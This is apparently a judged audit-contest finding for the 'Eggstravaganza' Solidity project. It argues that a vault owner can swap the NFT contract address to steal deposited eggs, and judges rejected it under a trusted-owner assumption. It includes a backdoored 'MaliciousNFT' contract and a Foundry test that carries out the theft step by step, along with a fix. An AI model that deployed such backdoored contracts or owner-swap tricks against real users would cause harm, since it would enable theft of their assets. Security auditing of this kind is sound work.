Eggstravaganza

First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Centralization Risk for trusted vault owners, vault owner can steal any NFTs deposited by MEV attacker when user call `withdrawEgg`

Description: The vault owner has the ability to change the linked NFT contract at any time.
After users deposit their NFTs, the owner could potentially switch the contract to a malicious one.
When users attempt to withdraw, if vault owner do a Front running to change the eggNFT address, users would receive fake eggNFTs from the malicious contract,
allowing the vault owner to keep the genuine NFTs for themselves.

function setEggNFT(address _eggNFTAddress) external onlyOwner {
require(_eggNFTAddress != address(0), "Invalid NFT address");
eggNFT = EggstravaganzaNFT(_eggNFTAddress);
}

Impact: This could lead to potential loss of user funds if the vault owner acts maliciously.

Proof of Concept: add the following malicious NFT contract and test case to simulate the scenario.

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.23;
import {ERC721} from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
contract MaliciousNFT is ERC721, Ownable {
constructor() ERC721("MaliciousNFT", "MNFT") Ownable(msg.sender) {}
function mint(address to, uint256 tokenId) external onlyOwner {
_mint(to, tokenId);
}
function adminTransferToken(
address to,
uint256 tokenId
) external onlyOwner {
_update(to, tokenId, address(0));
}
}

then add the test and run it

...
address nftOwner = makeAddr("nftOwner");
address vaultOwner = makeAddr("vaultOwner");
address gameOwner = makeAddr("gameOwner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
uint256 constant GAME_DURATION = 100;
function setUp() public {
vm.prank(nftOwner);
nft = new EggstravaganzaNFT(NAME, SYMBOL);
vm.startPrank(vaultOwner);
vault = new EggVault();
vault.setEggNFT(address(nft));
vm.stopPrank();
vm.startPrank(gameOwner);
game = new EggHuntGame(address(nft), address(vault));
vm.stopPrank();
vm.prank(nftOwner);
nft.setGameContract(address(game));
}
modifier mintEggs(address user) {
vm.startPrank(gameOwner);
game.startGame(GAME_DURATION);
game.setEggFindThreshold(100);
vm.stopPrank();
vm.startPrank(user);
game.searchForEgg();
game.searchForEgg();
game.searchForEgg();
vm.stopPrank();
_;
}
...
function testVaultOwnerStealEgg() public mintEggs(alice) {
vm.prank(vaultOwner);
MaliciousNFT maliciousNFT = new MaliciousNFT();
uint256 depositEggId = 1;
vm.startPrank(alice);
nft.approve(address(game), depositEggId);
game.depositEggToVault(depositEggId);
vm.stopPrank();
// Front run attack by vault owner
vm.startPrank(vaultOwner);
vault.setEggNFT(address(maliciousNFT));
maliciousNFT.mint(address(vault), depositEggId);
vm.stopPrank();
vm.prank(alice);
vault.withdrawEgg(depositEggId);
vm.startPrank(vaultOwner);
maliciousNFT.adminTransferToken(address(vault), depositEggId);
vault.depositEgg(depositEggId, vaultOwner);
vault.setEggNFT(address(nft));
vault.withdrawEgg(depositEggId);
vm.stopPrank();
assert(nft.ownerOf(depositEggId) == vaultOwner); // successful steal the egg nft
}

Recommended Mitigation:
set EggNFT address in EggVault::constructor, once set it should not be changed.

+ constructor(address _eggNFTAddress) Ownable(msg.sender){
+ require(_eggNFTAddress != address(0), "Invalid NFT address");
+ eggNFT = EggstravaganzaNFT(_eggNFTAddress);
+ }
...
- function setEggNFT(address _eggNFTAddress) external onlyOwner {
- require(_eggNFTAddress != address(0), "Invalid NFT address");
- eggNFT = EggstravaganzaNFT(_eggNFTAddress);
- }
Updates

Lead Judging Commences

m3dython Lead Judge 8 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Trusted Owner

Owner is trusted and is not expected to interact in ways that would compromise security

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!